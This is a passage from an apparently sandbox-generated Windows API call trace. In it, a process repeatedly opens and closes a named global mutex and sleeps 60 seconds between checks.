lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.719] CloseHandle (hObject=0xc04) returned 1 [0123.719] Sleep (dwMilliseconds=0xea60) [0123.742] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.742] CloseHandle (hObject=0xbfc) returned 1 [0123.742] Sleep (dwMilliseconds=0xea60) [0123.742] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.742] CloseHandle (hObject=0xbfc) returned 1 [0123.742] Sleep (dwMilliseconds=0xea60) [0123.746] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.746] CloseHandle (hObject=0xc04) returned 1 [0123.746] Sleep (dwMilliseconds=0xea60) [0123.748] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.748] CloseHandle (hObject=0xbfc) returned 1 [0123.748] Sleep (dwMilliseconds=0xea60) [0123.748] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.764] CloseHandle (hObject=0xc04) returned 1 [0123.764] Sleep (dwMilliseconds=0xea60) [0123.766] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.766] CloseHandle (hObject=0xbfc) returned 1 [0123.766] Sleep (dwMilliseconds=0xea60) [0123.787] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.787] CloseHandle (hObject=0xc04) returned 1 [0123.787] Sleep (dwMilliseconds=0xea60) [0123.792] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.792] CloseHandle (hObject=0xbfc) returned 1 [0123.792] Sleep (dwMilliseconds=0xea60) [0123.792] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.792] CloseHandle (hObject=0xbfc) returned 1 [0123.792] Sleep (dwMilliseconds=0xea60) [0123.808] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.808] CloseHandle (hObject=0xbfc) returned 1 [0123.808] Sleep (dwMilliseconds=0xea60) [0123.808] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.808] CloseHandle (hObject=0xbfc) returned 1 [0123.808] Sleep (dwMilliseconds=0xea60) [0123.809] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.809] CloseHandle (hObject=0xbfc) returned 1 [0123.809] Sleep (dwMilliseconds=0xea60) [0123.813] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.813] CloseHandle (hObject=0xbfc) returned 1 [0123.813] Sleep (dwMilliseconds=0xea60) [0123.814] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.814] CloseHandle (hObject=0xbfc) returned 1 [0123.814] Sleep (dwMilliseconds=0xea60) [0123.815] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.815] CloseHandle (hObject=0xbfc) returned 1 [0123.815] Sleep (dwMilliseconds=0xea60) [0123.830] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.830] CloseHandle (hObject=0xc04) returned 1 [0123.830] Sleep (dwMilliseconds=0xea60) [0123.844] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.844] CloseHandle (hObject=0xc04) returned 1 [0123.844] Sleep (dwMilliseconds=0xea60) [0123.844] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.844] CloseHandle (hObject=0xc04) returned 1 [0123.844] Sleep (dwMilliseconds=0xea60) [0123.853] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.853] CloseHandle (hObject=0xc04) returned 1 [0123.853] Sleep (dwMilliseconds=0xea60) [0123.862] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.862] CloseHandle (hObject=0xbfc) returned 1 [0123.862] Sleep (dwMilliseconds=0xea60) [0123.862] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.862] CloseHandle (hObject=0xbfc) returned 1 [0123.862] Sleep (dwMilliseconds=0xea60) [0123.873] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.880] CloseHandle (hObject=0xc04) returned 1 [0123.880] Sleep (dwMilliseconds=0xea60) [0123.900] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.900] CloseHandle (hObject=0xc04) returned 1 [0123.900] Sleep (dwMilliseconds=0xea60) [0123.921] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.921] CloseHandle (hObject=0xc04) returned 1 [0123.921] Sleep (dwMilliseconds=0xea60) [0123.941] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.941] CloseHandle (hObject=0xc04) returned 1 [0123.941] Sleep (dwMilliseconds=0xea60) [0123.961] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.961] CloseHandle (hObject=0xc04) returned 1 [0123.961] Sleep (dwMilliseconds=0xea60) [0123.975] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.975] CloseHandle (hObject=0xbfc) returned 1 [0123.981] Sleep (dwMilliseconds=0xea60) [0124.001] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.001] CloseHandle (hObject=0xbfc) returned 1 [0124.001] Sleep (dwMilliseconds=0xea60) [0124.022] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.022] CloseHandle (hObject=0xbfc) returned 1 [0124.022] Sleep (dwMilliseconds=0xea60) [0124.044] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.045] CloseHandle (hObject=0xbfc) returned 1 [0124.045] Sleep (dwMilliseconds=0xea60) [0124.067] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.067] CloseHandle (hObject=0xbfc) returned 1 [0124.067] Sleep (dwMilliseconds=0xea60) [0124.089] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.089] CloseHandle (hObject=0xbfc) returned 1 [0124.089] Sleep (dwMilliseconds=0xea60) [0124.109] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.109] CloseHandle (hObject=0xbfc) returned 1 [0124.109] Sleep (dwMilliseconds=0xea60) [0124.121] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.121] CloseHandle (hObject=0xbfc) returned 1 [0124.121] Sleep (dwMilliseconds=0xea60) [0124.129] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.129] CloseHandle (hObject=0xbfc) returned 1 [0124.129] Sleep (dwMilliseconds=0xea60) [0124.148] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.148] CloseHandle (hObject=0xbfc) returned 1 [0124.149] Sleep (dwMilliseconds=0xea60) [0124.165] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.165] CloseHandle (hObject=0xbfc) returned 1 [0124.165] Sleep (dwMilliseconds=0xea60) [0124.182] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.182] CloseHandle (hObject=0xbfc) returned 1 [0124.182] Sleep (dwMilliseconds=0xea60) [0124.199] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.199] CloseHandle (hObject=0xbfc) returned 1 [0124.199] Sleep (dwMilliseconds=0xea60) [0124.216] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.216] CloseHandle (hObject=0xbfc) returned 1 [0124.217] Sleep (dwMilliseconds=0xea60) [0124.233] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.233] CloseHandle (hObject=0xbfc) returned 1 [0124.233] Sleep (dwMilliseconds=0xea60) [0124.251] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.251] CloseHandle (hObject=0xbfc) returned 1 [0124.251] Sleep (dwMilliseconds=0xea60) [0124.268] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.268] CloseHandle (hObject=0xbfc) returned 1 [0124.268] Sleep (dwMilliseconds=0xea60) [0124.286] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.286] CloseHandle (hObject=0xbfc) returned 1 [0124.286] Sleep (dwMilliseconds=0xea60) [0124.303] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.303] CloseHandle (hObject=0xbfc) returned 1 [0124.303] Sleep (dwMilliseconds=0xea60) [0124.326] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.326] CloseHandle (hObject=0xbfc) returned 1 [0124.326] Sleep (dwMilliseconds=0xea60) [0124.343] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.343] CloseHandle (hObject=0xbfc) returned 1 [0124.343] Sleep (dwMilliseconds=0xea60) [0124.360] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.360] CloseHandle (hObject=0xbfc) returned 1 [0124.360] Sleep (dwMilliseconds=0xea60) [0124.377] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.377] CloseHandle (hObject=0xbfc) returned 1 [0124.377] Sleep (dwMilliseconds=0xea60) [0124.394] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.394] CloseHandle (hObject=0xbfc) returned 1 [0124.394] Sleep (dwMilliseconds=0xea60) [0124.411] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.411] CloseHandle (hObject=0xbfc) returned 1 [0124.411] Sleep (dwMilliseconds=0xea60) [0124.427] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.427] CloseHandle (hObject=0xbfc) returned 1 [0124.428] Sleep (dwMilliseconds=0xea60) [0124.445] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.445] CloseHandle (hObject=0xbfc) returned 1 [0124.445] Sleep (dwMilliseconds=0xea60) [0124.461] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.462] CloseHandle (hObject=0xbfc) returned 1 [0124.462] Sleep (dwMilliseconds=0xea60) [0124.478] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.478] CloseHandle (hObject=0xbfc) returned 1 [0124.478] Sleep (dwMilliseconds=0xea60) [0124.496] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.496] CloseHandle (hObject=0xbfc) returned 1 [0124.496] Sleep (dwMilliseconds=0xea60) [0124.515] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.515] CloseHandle (hObject=0xbfc) returned 1 [0124.515] Sleep (dwMilliseconds=0xea60) [0124.533] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.533] CloseHandle (hObject=0xbfc) returned 1 [0124.533] Sleep (dwMilliseconds=0xea60) [0124.549] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.550] CloseHandle (hObject=0xbfc) returned 1 [0124.550] Sleep (dwMilliseconds=0xea60) [0124.567] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.567] CloseHandle (hObject=0xbfc) returned 1 [0124.567] Sleep (dwMilliseconds=0xea60) [0124.584] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.584] CloseHandle (hObject=0xbfc) returned 1 [0124.584] Sleep (dwMilliseconds=0xea60) [0124.602] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.602] CloseHandle (hObject=0xbfc) returned 1 [0124.602] Sleep (dwMilliseconds=0xea60) [0124.619] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.619] CloseHandle (hObject=0xbfc) returned 1 [0124.619] Sleep (dwMilliseconds=0xea60) [0124.636] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.636] CloseHandle (hObject=0xbfc) returned 1 [0124.636] Sleep (dwMilliseconds=0xea60) [0124.653] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.653] CloseHandle (hObject=0xbfc) returned 1 [0124.653] Sleep (dwMilliseconds=0xea60) [0124.671] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.671] CloseHandle (hObject=0xbfc) returned 1 [0124.671] Sleep (dwMilliseconds=0xea60) [0124.687] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.687] CloseHandle (hObject=0xbfc) returned 1 [0124.687] Sleep (dwMilliseconds=0xea60) [0124.705] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.705] CloseHandle (hObject=0xbfc) returned 1 [0124.705] Sleep (dwMilliseconds=0xea60) [0124.722] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.722] CloseHandle (hObject=0xbfc) returned 1 [0124.722] Sleep (dwMilliseconds=0xea60) [0124.739] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.739] CloseHandle (hObject=0xbfc) returned 1 [0124.739] Sleep (dwMilliseconds=0xea60) [0124.756] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.756] CloseHandle (hObject=0xbfc) returned 1 [0124.756] Sleep (dwMilliseconds=0xea60) [0124.773] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.773] CloseHandle (hObject=0xbfc) returned 1 [0124.773] Sleep (dwMilliseconds=0xea60) [0124.791] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.791] CloseHandle (hObject=0xbfc) returned 1 [0124.791] Sleep (dwMilliseconds=0xea60) [0124.807] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.807] CloseHandle (hObject=0xbfc) returned 1 [0124.807] Sleep (dwMilliseconds=0xea60) [0124.825] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.825] CloseHandle (hObject=0xbfc) returned 1 [0124.825] Sleep (dwMilliseconds=0xea60) [0124.842] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.842] CloseHandle (hObject=0xbfc) returned 1 [0124.842] Sleep (dwMilliseconds=0xea60) [0124.859] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.859] CloseHandle (hObject=0xbfc) returned 1 [0124.859] Sleep (dwMilliseconds=0xea60) [0124.877] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.877] CloseHandle (hObject=0xbfc) returned 1 [0124.877] Sleep (dwMilliseconds=0xea60) [0124.902] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.902] CloseHandle (hObject=0xbfc) returned 1 [0124.902] Sleep (dwMilliseconds=0xea60) [0124.923] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.923] CloseHandle (hObject=0xbfc) returned 1 [0124.923] Sleep (dwMilliseconds=0xea60) [0124.940] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.940] CloseHandle (hObject=0xbfc) returned 1 [0124.940] Sleep (dwMilliseconds=0xea60) [0124.957] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.957] CloseHandle (hObject=0xbfc) returned 1 [0124.957] Sleep (dwMilliseconds=0xea60) [0124.974] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.974] CloseHandle (hObject=0xbfc) returned 1 [0124.975] Sleep (dwMilliseconds=0xea60) [0124.991] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0124.991] CloseHandle (hObject=0xbfc) returned 1 [0124.991] Sleep (dwMilliseconds=0xea60) [0125.008] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.008] CloseHandle (hObject=0xbfc) returned 1 [0125.008] Sleep (dwMilliseconds=0xea60) [0125.024] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.024] CloseHandle (hObject=0xbfc) returned 1 [0125.024] Sleep (dwMilliseconds=0xea60) [0125.042] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.042] CloseHandle (hObject=0xbfc) returned 1 [0125.042] Sleep (dwMilliseconds=0xea60) [0125.058] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.058] CloseHandle (hObject=0xbfc) returned 1 [0125.058] Sleep (dwMilliseconds=0xea60) [0125.077] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.077] CloseHandle (hObject=0xbfc) returned 1 [0125.077] Sleep (dwMilliseconds=0xea60) [0125.083] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.083] CloseHandle (hObject=0xc04) returned 1 [0125.083] Sleep (dwMilliseconds=0xea60) [0125.101] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.101] CloseHandle (hObject=0xbfc) returned 1 [0125.101] Sleep (dwMilliseconds=0xea60) [0125.103] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.103] CloseHandle (hObject=0xc04) returned 1 [0125.103] Sleep (dwMilliseconds=0xea60) [0125.125] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.125] CloseHandle (hObject=0xbfc) returned 1 [0125.125] Sleep (dwMilliseconds=0xea60) [0125.144] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.144] CloseHandle (hObject=0xbfc) returned 1 [0125.144] Sleep (dwMilliseconds=0xea60) [0125.149] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.149] CloseHandle (hObject=0xc04) returned 1 [0125.149] Sleep (dwMilliseconds=0xea60) [0125.149] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0125.149] CloseHandle (hObject=0xc04) returned 1 [0125.149] Sleep (dwMilliseconds=0xea60) [0125.164] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.164] CloseHandle (hObject=0xbfc) returned 1 [0125.164] Sleep (dwMilliseconds=0xea60) [0125.181] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.181] CloseHandle (hObject=0xbfc) returned 1 [0125.181] Sleep (dwMilliseconds=0xea60) [0125.198] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.198] CloseHandle (hObject=0xbfc) returned 1 [0125.198] Sleep (dwMilliseconds=0xea60) [0125.213] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.213] CloseHandle (hObject=0xbfc) returned 1 [0125.213] Sleep (dwMilliseconds=0xea60) [0125.213] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.213] CloseHandle (hObject=0xbfc) returned 1 [0125.213] Sleep (dwMilliseconds=0xea60) [0125.221] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.221] CloseHandle (hObject=0xbfc) returned 1 [0125.221] Sleep (dwMilliseconds=0xea60) [0125.238] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.238] CloseHandle (hObject=0xbfc) returned 1 [0125.238] Sleep (dwMilliseconds=0xea60) [0125.256] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.256] CloseHandle (hObject=0xbfc) returned 1 [0125.256] Sleep (dwMilliseconds=0xea60) [0125.273] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.273] CloseHandle (hObject=0xbfc) returned 1 [0125.273] Sleep (dwMilliseconds=0xea60) [0125.290] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.290] CloseHandle (hObject=0xbfc) returned 1 [0125.290] Sleep (dwMilliseconds=0xea60) [0125.308] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.308] CloseHandle (hObject=0xbfc) returned 1 [0125.308] Sleep (dwMilliseconds=0xea60) [0125.330] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0125.330] CloseHandle (hObject=0xbfc) returned 1 [0125.330] Sleep (dwMilliseconds=0xea60) [0125.349] OpenMutexA 